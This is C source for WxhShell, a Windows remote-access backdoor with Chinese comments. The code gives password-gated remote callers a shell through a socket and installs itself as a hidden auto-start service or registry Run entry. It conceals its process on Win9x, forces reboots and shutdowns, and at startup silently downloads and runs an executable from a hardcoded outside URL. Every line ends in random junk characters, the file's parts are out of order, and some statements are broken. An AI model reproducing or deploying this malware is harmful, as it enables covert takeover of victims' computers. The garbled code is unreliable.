    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vd+T$uC  
    if(Boot(SHUTDOWN)) Pw`8Wj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w;:*P  
    else { j[J-f@F \Y  
    closesocket(wsh); t pQ(g%  
    ExitThread(0); h(u8&MHx  
    } TpwkD_fg  
    break; czgO ;3-C  
    } FxWSV|Z  
  // 获取shell Ww+IWW@  
  case 's': { >7T'OC  
    CmdShell(wsh); w4{<n /"  
    closesocket(wsh); W/bQd)Jvk  
    ExitThread(0); :zke %Yx  
    break; qv KG-|j  
  } ` *N[jm"  
  // 退出 yfjWbW  
  case 'x': { umH40rX+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ep)n_!$OH"  
    CloseIt(wsh); bSi%2Onj  
    break; ' ;FnIZ  
    } h# o6K#  
  // 离开 Vl=l?A8  
  case 'q': { m6\E$;`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rCbDu&k]  
    closesocket(wsh); n&qg;TT  
    WSACleanup(); 3-qr)h  
    exit(1); &P}_bx  
    break; BWv^ zi  
        } /1V xc 6  
  } J~ zUp(>K  
  } dI@(<R  
/}fHt^2H  
  // 提示信息 { VfXsI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H.|#c^I  
} RSyUaA  
  } `O!X((  
}mYx_=+VX  
  return;  Rn(ec  
} )@l%  
=9boya,>  
// shell模块句柄 fo#fg8zX%  
int CmdShell(SOCKET sock) IS{wtuA.  
{ JHM9  
STARTUPINFO si; j@U]'5EVB  
ZeroMemory(&si,sizeof(si)); ]7F=u!/`<C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2~1SQ.Q<RY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JPc+rfF  
PROCESS_INFORMATION ProcessInfo; sV{,S>s   
char cmdline[]="cmd"; F|o:W75  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;4^Rx  
  return 0; Yz/md1T$  
} RXpw!  
\K{0L  
// 自身启动模式 tqvN0vY5  
int StartFromService(void) 0d"[l@UU0  
{ u~M q*  
typedef struct Ustv{:7v  
{ Q_Q''j(r6b  
  DWORD ExitStatus; 8 S:w7Hr  
  DWORD PebBaseAddress; 0neoE E  
  DWORD AffinityMask; @fZ,.2ar  
  DWORD BasePriority; |+FubYf?$  
  ULONG UniqueProcessId; G C),N\@Q  
  ULONG InheritedFromUniqueProcessId; MSQEO4ge  
}   PROCESS_BASIC_INFORMATION; \:# L)   
W#4 7h7M  
PROCNTQSIP NtQueryInformationProcess; H1pO!>M  
[fya)}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5,Jp[bw{H{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L3u&/Tn2  
"/*\1v9  
  HANDLE             hProcess; KQaxvU)L  
  PROCESS_BASIC_INFORMATION pbi; -LoZs ru  
p*R;hU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =r?hg GWe  
  if(NULL == hInst ) return 0; ??-[eB.  
-[4T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (^8Y|:Tz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _wbF>z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u<7/0;D#+  
?K$(817  
  if (!NtQueryInformationProcess) return 0; ~NrG` D}  
=1FRFZI!j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j\[dx^\=  
  if(!hProcess) return 0; :}L[sl\R  
\+oQd=K@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  acajHs  
?(' wn<  
  CloseHandle(hProcess); L:KF_W.I+  
tzWSA-Li  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  <$A  
if(hProcess==NULL) return 0; #vz7y(v  
|sJ[0z  
HMODULE hMod; qTRsZz@  
char procName[255]; !_]Y~[  
unsigned long cbNeeded; oA7tE u   
[`#CXq'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lK?uXr7^  
dc+>m,3$  
  CloseHandle(hProcess); 2RVN\?s:  
{g'(~ qv  
if(strstr(procName,"services")) return 1; // 以服务启动 0cv{  
a5dLQx b  
  return 0; // 注册表启动 "(3[+W{|  
} (+w*[qHe  
a=|K%ii+Y  
// 主模块 f&N gS+<K$  
int StartWxhshell(LPSTR lpCmdLine) @+&LYy72  
{ .Yamc#A-  
  SOCKET wsl; yJ[0WY8<kC  
BOOL val=TRUE; <O(4TO  
  int port=0; oM X  
  struct sockaddr_in door; fF!Yp iI"  
]{;gw<T  
  if(wscfg.ws_autoins) Install(); +C^nO=[E  
Z\(q@3C  
port=atoi(lpCmdLine); f$o_e90mu  
rX U  
if(port<=0) port=wscfg.ws_port;  g T6z9  
:tc@2/>!O  
  WSADATA data; 6gU96Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DHg :8%3x  
^)470K`%)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Y0%c Xi3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PF0_8,@U  
  door.sin_family = AF_INET; [CTnXb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mtpeRVcF  
  door.sin_port = htons(port); ^L,K& Jd  
9sM!`Lz{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }g@v`5  
closesocket(wsl); I:-Wy"i  
return 1; s2a{>II6  
} h 7*J9[$  
bS{bkE>  
  if(listen(wsl,2) == INVALID_SOCKET) { =?5]()'*n  
closesocket(wsl); K,tQ!kk  
return 1; a)!o @  
} av(6wht8  
  Wxhshell(wsl); HRpte=`q  
  WSACleanup(); cQjv$$&6[  
!@5 9)  
return 0; ^23~ZHu  
b;L\EB  
} mupT<_Y  
xPdG*OcX!  
// 以NT服务方式启动 a6 ekG YW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M+oHtX$  
{ .zf~.R;>  
DWORD   status = 0; )|cc X  
  DWORD   specificError = 0xfffffff; GWGSd\z  
@s*-%N^:[L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &Hrj3E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _OYasJUMG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D2 #ZpFp"h  
  serviceStatus.dwWin32ExitCode     = 0; >:SHV W  
  serviceStatus.dwServiceSpecificExitCode = 0; }YQX~="  
  serviceStatus.dwCheckPoint       = 0; pt?bWyKG  
  serviceStatus.dwWaitHint       = 0; > [)7U _|p  
L]7=?vN=8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +tB=OwU%0  
  if (hServiceStatusHandle==0) return; "%)qRe  
"2!&5s,1p  
status = GetLastError(); .C%<P"=J4h  
  if (status!=NO_ERROR) `&qL(66  
{ DmK57V4L^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sVQ|*0(J0r  
    serviceStatus.dwCheckPoint       = 0; 4>YR{  
    serviceStatus.dwWaitHint       = 0; F k7?xc  
    serviceStatus.dwWin32ExitCode     = status; 39c2pV[  
    serviceStatus.dwServiceSpecificExitCode = specificError; t[HE6ea  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P-[-pi@  
    return; _=r6=.  
  } e v}S+!|U  
3qgS&js 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?9vuuIE  
  serviceStatus.dwCheckPoint       = 0; a9e>iU  
  serviceStatus.dwWaitHint       = 0; t mn tp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3=#<X-);  
} |o"?gB}Dh  
 y`iBFC;_  
// 处理NT服务事件,比如:启动、停止 $V;i '(&7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _{ue8kGt  
{ Mc lkEfn  
switch(fdwControl) \0gis#  
{ + /G2fhE  
case SERVICE_CONTROL_STOP: UsG~row:!  
  serviceStatus.dwWin32ExitCode = 0; 4(n-_BS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `%bypHeSp  
  serviceStatus.dwCheckPoint   = 0; 1NFsb-<u  
  serviceStatus.dwWaitHint     = 0; ]|pe>:gf'  
  { >tS'Q`R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W ~<^L\Lu  
  } $GV7o{"&  
  return; Y;eZ9|Ht9  
case SERVICE_CONTROL_PAUSE: MR7}s4o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NSMyliM1Y  
  break; o)|flI'vT  
case SERVICE_CONTROL_CONTINUE: &<g|gsG`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <\ y@*fg+  
  break; *tFHM &a  
case SERVICE_CONTROL_INTERROGATE: G&SB-  
  break; .8g)av+  
}; OF>mF~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CZe ]kXNv  
} .#!lP/.eQP  
X56q-|  
// 标准应用程序主函数 %Qgw7p4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %QH$ipM  
{ RU{twL.B  
@n/\L<]t  
// 获取操作系统版本 bRDYGuC  
OsIsNt=GetOsVer(); :k]1Lm||  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PNhe  
tIi&;tw]  
  // 从命令行安装 `RT>}_j  
  if(strpbrk(lpCmdLine,"iI")) Install(); 68|E9^`l  
]#<4vl\  
  // 下载执行文件 PQt")[  
if(wscfg.ws_downexe) { eIF5ZPSZi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f)rq%N &  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5pG}Yk_(x  
} YaqR[F  
`7Q<'oK  
if(!OsIsNt) { S}3fr^{.  
// 如果时win9x,隐藏进程并且设置为注册表启动 q_8+HEvo  
HideProc(); Po;W'7"Po`  
StartWxhshell(lpCmdLine); YqD=>P[O  
} Kn{4;Xk\  
else SR hiQ  
  if(StartFromService()) c ]-<vkpV  
  // 以服务方式启动 TqQB@-!  
  StartServiceCtrlDispatcher(DispatchTable); ,t744k')  
else N% B>M7-=  
  // 普通方式启动 Es`Px_k  
  StartWxhshell(lpCmdLine); e]aDP 1n3t  
@;4zrzQi7  
return 0; 7+cO_3AB  
}  dFc':|  
Wi<m{.%\E  
]c*4J\s  
>uB?rGcM  
=========================================== zk+9'r`-D  
aKDKmHd  
B@))8.h]  
}&D WaO]J7  
59L\|OR  
Dpac^ST  
" L{\8!51L  
@4C% +-  
#include <stdio.h> ,THw"bm  
#include <string.h> zI uJ-8T"  
#include <windows.h> "{xrL4BtC  
#include <winsock2.h> 'oVx#w^mf  
#include <winsvc.h> W i.& e  
#include <urlmon.h> Lb-OsKU  
#%2rP'He  
#pragma comment (lib, "Ws2_32.lib")  }v{LRRi  
#pragma comment (lib, "urlmon.lib") (,2S XV  
LOYk9m  
#define MAX_USER   100 // 最大客户端连接数 /}Axf"OE  
#define BUF_SOCK   200 // sock buffer MjRHA^b  
#define KEY_BUFF   255 // 输入 buffer #X$\&,Yn"  
{S \{Ii6  
#define REBOOT     0   // 重启 ue"~9JK.  
#define SHUTDOWN   1   // 关机 3,w_ ".m`#  
G*MUO#_iuh  
#define DEF_PORT   5000 // 监听端口 >R_&Ouh:  
U/M>?G~  
#define REG_LEN     16   // 注册表键长度 q i;1L Kc  
#define SVC_LEN     80   // NT服务名长度 |e&\<LwsP  
_f,C[C[e&  
// 从dll定义API %;' s4ly  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T>Z<]s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f~[7t:WD*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V0YZp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z{d^-  
gQuw1  
// wxhshell配置信息 (C L%>5V  
struct WSCFG { 0+ '&`Q!u  
  int ws_port;         // 监听端口 T-L||yE,h  
  char ws_passstr[REG_LEN]; // 口令 Zi i   
  int ws_autoins;       // 安装标记, 1=yes 0=no Or+U@vAnk  
  char ws_regname[REG_LEN]; // 注册表键名 00y!K m_D  
  char ws_svcname[REG_LEN]; // 服务名 "sCRdx]_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 33q}CzK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =WATyY:s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3d]S!=4H"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]6` %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0d&6lqTo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ITBE|b  
Y.UFbrv  
}; +'a^f5  
P@B]  
// default Wxhshell configuration _{KG 4+5\X  
struct WSCFG wscfg={DEF_PORT, O/C rd/  
    "xuhuanlingzhe", p2](_}PK  
    1, Il 'fL'3  
    "Wxhshell", [q -h|m  
    "Wxhshell", n\53wh@+  
            "WxhShell Service", Sm|6 %3  
    "Wrsky Windows CmdShell Service", ?`ZU R& 20  
    "Please Input Your Password: ", u#.2w)!D  
  1, r19 pZAc  
  "http://www.wrsky.com/wxhshell.exe", IJ"q~r$  
  "Wxhshell.exe" NLqzi%s  
    }; eauF ~md,  
4[e X e$  
// 消息定义模块 Yq KCeg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H{wl% G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?tbrbkx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *] X'( /b_  
char *msg_ws_ext="\n\rExit."; HZge!Yp<  
char *msg_ws_end="\n\rQuit."; 4B.*g-L   
char *msg_ws_boot="\n\rReboot..."; :o3N;*o>)0  
char *msg_ws_poff="\n\rShutdown..."; y)@wjH{6  
char *msg_ws_down="\n\rSave to "; GTd,n=  
K|, .C[  
char *msg_ws_err="\n\rErr!"; (<9u-HF#  
char *msg_ws_ok="\n\rOK!"; K"MX!  
mzgfFNm^G)  
char ExeFile[MAX_PATH]; |L ev.,,Ph  
int nUser = 0; 7[)E>XRE  
HANDLE handles[MAX_USER]; XL ^GZ  
int OsIsNt; UK!(G  
<P_-s*b  
SERVICE_STATUS       serviceStatus; `c$V$/IT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2>%=U~5  
z{QqY.Gu{G  
// 函数声明 /{I$#:M  
int Install(void); N!}f}oF  
int Uninstall(void); > (<f 0  
int DownloadFile(char *sURL, SOCKET wsh);  ob]w;"  
int Boot(int flag); 6=C<>c %+  
void HideProc(void); E1 2uZ$X  
int GetOsVer(void); L/K(dkx  
int Wxhshell(SOCKET wsl); 8s@3hXD&  
void TalkWithClient(void *cs); %|oym.-I6  
int CmdShell(SOCKET sock); [a(#1  
int StartFromService(void); "{t$nVJ  
int StartWxhshell(LPSTR lpCmdLine); flx(HJK  
dZuOrTplA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sI2^Qp@O1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KI.hy2?e  
<P<z N~i9j  
// 数据结构和表定义 [-w%/D%@  
SERVICE_TABLE_ENTRY DispatchTable[] = X?Q4}Y  
{ BgT*icd8d  
{wscfg.ws_svcname, NTServiceMain}, DlJo^|5  
{NULL, NULL} sLk-x\P]|  
}; uxz^/Gk  
6A ah9   
// 自我安装 >$7B wO  
int Install(void) uY*L,j^)  
{ '"s@enD0y  
  char svExeFile[MAX_PATH];  ='jT~ \  
  HKEY key; |s_GlJV.  
  strcpy(svExeFile,ExeFile); Z_NCD`i;  
xIn:ZKJ'  
// 如果是win9x系统,修改注册表设为自启动 ar,7S&s H  
if(!OsIsNt) { j>kqz>3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {;oPLr+Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  \=o-  
  RegCloseKey(key); lTsjxw o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dh\P4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hbn([+xY  
  RegCloseKey(key); j<$2hiI/?&  
  return 0; `vV7c`K?  
    } 2<3K3uz  
  } 7HWmCaa[  
} 6LhTBV  
else { AQ Ojit6p  
KPki}'GO  
// 如果是NT以上系统,安装为系统服务 y{Q {'De  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $cg cX  
if (schSCManager!=0) "N#Y gSr  
{ a'T;x`b8U,  
  SC_HANDLE schService = CreateService Y:`&=wjP~  
  ( f QFk+C  
  schSCManager, VEH>]-0K  
  wscfg.ws_svcname, Dp:BU|r  
  wscfg.ws_svcdisp, &,/ S`ke=  
  SERVICE_ALL_ACCESS, gM]:Ma  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !x)R=Z/C  
  SERVICE_AUTO_START, .)3<Q}>  
  SERVICE_ERROR_NORMAL, xD7]C|8o  
  svExeFile, + T+#q@  
  NULL, 4ppz,L,4  
  NULL, F"kAkX>3}  
  NULL, I+(nu47ZT  
  NULL, ^rz_f{c]-  
  NULL -g<oS9   
  ); CN ?gq^  
  if (schService!=0) A}^mdw9  
  { +|f@^-  
  CloseServiceHandle(schService); 3c%caK  
  CloseServiceHandle(schSCManager); |BYRe1l6l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @9:uqsL  
  strcat(svExeFile,wscfg.ws_svcname); 7$#u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BLFdHB.$T  
  RegCloseKey(key); tX[WH\(xI  
  return 0; d_ CT $  
    } H*6W q  
  } {)Xy%QV  
  CloseServiceHandle(schSCManager); ~G w*r\\+  
} ?4uL-z](V  
} sq]F;=[5  
_Ey5n!0:  
return 1; yQrD9*t&g  
} |a@L}m  
|?9HU~B  
// 自我卸载 ('~LMu_  
int Uninstall(void) `_h&glMJ,q  
{ ,,TnIouy  
  HKEY key; :KO2| v\  
*ui</+  
if(!OsIsNt) { !9x}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?ubro0F:  
  RegDeleteValue(key,wscfg.ws_regname); S>{~nOYt-`  
  RegCloseKey(key); X?Au/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >dT*rH3w  
  RegDeleteValue(key,wscfg.ws_regname); (.,G=\!  
  RegCloseKey(key); pk~WrqK}  
  return 0; ;}t(Wnu.  
  } $xQL]FmS  
} +[P{&\d4}  
} 11lsf/IP  
else { 2pAW9R#UV-  
<Gsu Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /tLVX} &  
if (schSCManager!=0) @pxcpXCy  
{ @ |r{;'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }\LQ3y"[  
  if (schService!=0) ~s{$WL&  
  { D,6:EV"sa  
  if(DeleteService(schService)!=0) { /O9EQPm(  
  CloseServiceHandle(schService); +h$ 9\  
  CloseServiceHandle(schSCManager); EQ ttoOO  
  return 0; #/]nxW.S  
  } {b{s<@?  
  CloseServiceHandle(schService); liSmjsk  
  } %3 rP `A  
  CloseServiceHandle(schSCManager); |g~ZfnP_%  
} YzWz|  
} p#Bi>/C6  
OKV8zO  
return 1; 5X+A"X ;C  
} n*$ g]G$  
2?x4vI np;  
// 从指定url下载文件 ME dWLFf  
int DownloadFile(char *sURL, SOCKET wsh) W4N{S.#!  
{ u&NV,6Fj2[  
  HRESULT hr; Q20 %"&Xp]  
char seps[]= "/"; 6wxs1G  
char *token; M`>E|" <  
char *file; % `3jL7|  
char myURL[MAX_PATH]; |^aKs#va  
char myFILE[MAX_PATH]; 7 3m1  
ceV}WN19l  
strcpy(myURL,sURL); HV.t6@\};  
  token=strtok(myURL,seps); =Uh$&m  
  while(token!=NULL) m2o0y++TjW  
  { hQ i2U  
    file=token; B3BN`mdn>  
  token=strtok(NULL,seps); Uv.)?YeGh  
  } HDLk>_N_s,  
kFB  
GetCurrentDirectory(MAX_PATH,myFILE); :>*7=q=  
strcat(myFILE, "\\"); / +\9S  
strcat(myFILE, file); 8RX&k  
  send(wsh,myFILE,strlen(myFILE),0); ! z**y}<T  
send(wsh,"...",3,0); Qd-A.{[h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6-I'>\U~  
  if(hr==S_OK) ,^:.dFH6  
return 0; R8 T x[CJ5  
else TO_e^A#  
return 1; yLGRi^d#  
[~ fraK,)  
} ^_6|X]tz1T  
g*Phv|kI  
// 系统电源模块 ^"g~-  
int Boot(int flag) hc1N ~$3!G  
{ Rv=YFo[B  
  HANDLE hToken; yr6V3],Tp  
  TOKEN_PRIVILEGES tkp; <[phnU^ 8  
%;/P&d/  
  if(OsIsNt) { %RVZD#zr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9z0p5)]n>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d1*<Ll9K  
    tkp.PrivilegeCount = 1; nNm`Hfi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !W\+#ez  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SKtrtm  
if(flag==REBOOT) { /{[o ~:'p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lk!@?  
  return 0; *#2h/Q.  
} GVz6-T~\>  
else { B[}6-2<>?C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N;R^h? '  
  return 0; =v\.h=~~  
} >sF)Bo Lc  
  } BWNi [^]  
  else { fOHxtHM  
if(flag==REBOOT) {  bLL2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) us.~G  
  return 0; RNL9>7xV  
} Y@v>FlqI{  
else { =%7-ZH9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H+#FSdy#  
  return 0; NRuNKl.v  
} }b}m3i1  
} LP-o8c  
|:o4w  
return 1;  k'YTpO  
} E$e5^G9  
[ )F<V!  
// win9x进程隐藏模块 5(2;|I,T  
void HideProc(void) h;Qk @F  
{ 2!\D PX  
dQvcXl]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _g8yDfcLG  
  if ( hKernel != NULL ) N+|d3X!  
  { yauvXosX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h1RSVp+?n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /1 dT+>  
    FreeLibrary(hKernel); XZf$K_F&M  
  } ^OdP4m( >>  
4| f*eO  
return; <aw[XFg  
} #Z#-Ht  
o-\[,}T)M  
// 获取操作系统版本 Ef\ -VKh  
int GetOsVer(void) $qiya[&G4  
{ x;S @bY  
  OSVERSIONINFO winfo; :s,Z<^5a)g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [^)g%|W  
  GetVersionEx(&winfo); (:_$5&i7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1 zZlC#V  
  return 1; kstIgcI  
  else GyIV Hby  
  return 0; x2EUr,7  
} .`lCWeHN  
%>yL1BeA4  
// 客户端句柄模块 EnR}IY&sI  
int Wxhshell(SOCKET wsl) M}a6Vu9  
{ _$'ashF  
  SOCKET wsh; HQ g^ h  
  struct sockaddr_in client; \bF{-"7.  
  DWORD myID; |4JEU3\$  
Q8NX)R  
  while(nUser<MAX_USER) LLo;\WGZ  
{ Y73C5.dNcE  
  int nSize=sizeof(client); a[C@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;jXgAAz7  
  if(wsh==INVALID_SOCKET) return 1; vd ZW%-A&\  
NUZl`fu1Z4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p?!/+  
if(handles[nUser]==0) zda 3 ,U2o  
  closesocket(wsh); 3mgD(,(^  
else  \zkg  
  nUser++; M7T5 ~/4  
  } b sX[UF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QY/w  
d~H`CrQE*  
  return 0; \bcLiKE{  
} fl(wV.Je|  
f?Lw)hMrA  
// 关闭 socket Q?vlfZR`8  
void CloseIt(SOCKET wsh) Z~CjA%l  
{ $]d^-{|  
closesocket(wsh); khe}*y  
nUser--; &pRREu:[4L  
ExitThread(0); =euni}7a  
} WE?5ehEme  
\~W'v3:W  
// 客户端请求句柄 +whDU2 "  
void TalkWithClient(void *cs) wp_0+$?s  
{ A&VG~r$  
*pq\MiD/  
  SOCKET wsh=(SOCKET)cs; az$FnVNn=  
  char pwd[SVC_LEN]; CrLrw T  
  char cmd[KEY_BUFF]; HtFDlvdy]  
char chr[1]; C_Dn{  
int i,j; wT@og|M  
$i&zex{\  
  while (nUser < MAX_USER) { _b 0& !l<  
)pa]ui\t  
if(wscfg.ws_passstr) { Vk suu@cch  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (zk"~Ud  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \hXDO_U  
  //ZeroMemory(pwd,KEY_BUFF); ^!d3=}:0  
      i=0; kmW4:EA%  
  while(i<SVC_LEN) { 'DR!9De  
LoV<:|GTI  
  // 设置超时 ;u JMG  
  fd_set FdRead; R_C)  
  struct timeval TimeOut; zPO9!?7|  
  FD_ZERO(&FdRead); (=0.inZ  
  FD_SET(wsh,&FdRead); h{Y",7] !  
  TimeOut.tv_sec=8; By |4 m  
  TimeOut.tv_usec=0; Xvu(vA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); COlqcq'qAu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /: "1Z]@  
<I?Zk80  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Ze1s02(  
  pwd=chr[0]; o&%g8=n%  
  if(chr[0]==0xd || chr[0]==0xa) { %J(:ADu]  
  pwd=0; e ,(mR+a8  
  break; :TbgFQ86~  
  } @JMiO^  
  i++; 3fj4%P"  
    } ?,mmYW6TjB  
o-5TC  
  // 如果是非法用户,关闭 socket b6bHTH0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k[xSbs'D  
} QRUz`|U  
SUiOJ[5,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B#A6v0Ta  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Cv!,]9:r  
@d'j zs  
while(1) { /^ts9:  
I7onX,U+  
  ZeroMemory(cmd,KEY_BUFF); {: /}NpA$  
?,z}%p  
      // 自动支持客户端 telnet标准   oH@78D0A  
  j=0; IGl9 g_18  
  while(j<KEY_BUFF) { KlEpzJ98  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jy)/%p~  
  cmd[j]=chr[0]; sJZ iI}Xc  
  if(chr[0]==0xa || chr[0]==0xd) { 6nn *]|7  
  cmd[j]=0; K(4_a``05  
  break; 1 MFbQs^  
  } &ZO0r ^  
  j++; 6ujW Nf  
    } vM={V$D&  
4W75T2q#  
  // 下载文件 wYea\^co  
  if(strstr(cmd,"http://")) { c<~H(k'+c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F59 TZI  
  if(DownloadFile(cmd,wsh)) KNl$3nX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w0. u\  
  else tQVVhXQ7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5P bW[  
  } I%):1\)  
  else { i8p6Xht  
P}iE+Z 3  
    switch(cmd[0]) { !WlH'y-I  
   *CMx-_  
  // 帮助 )X7A  
  case '?': { gYj'(jB  
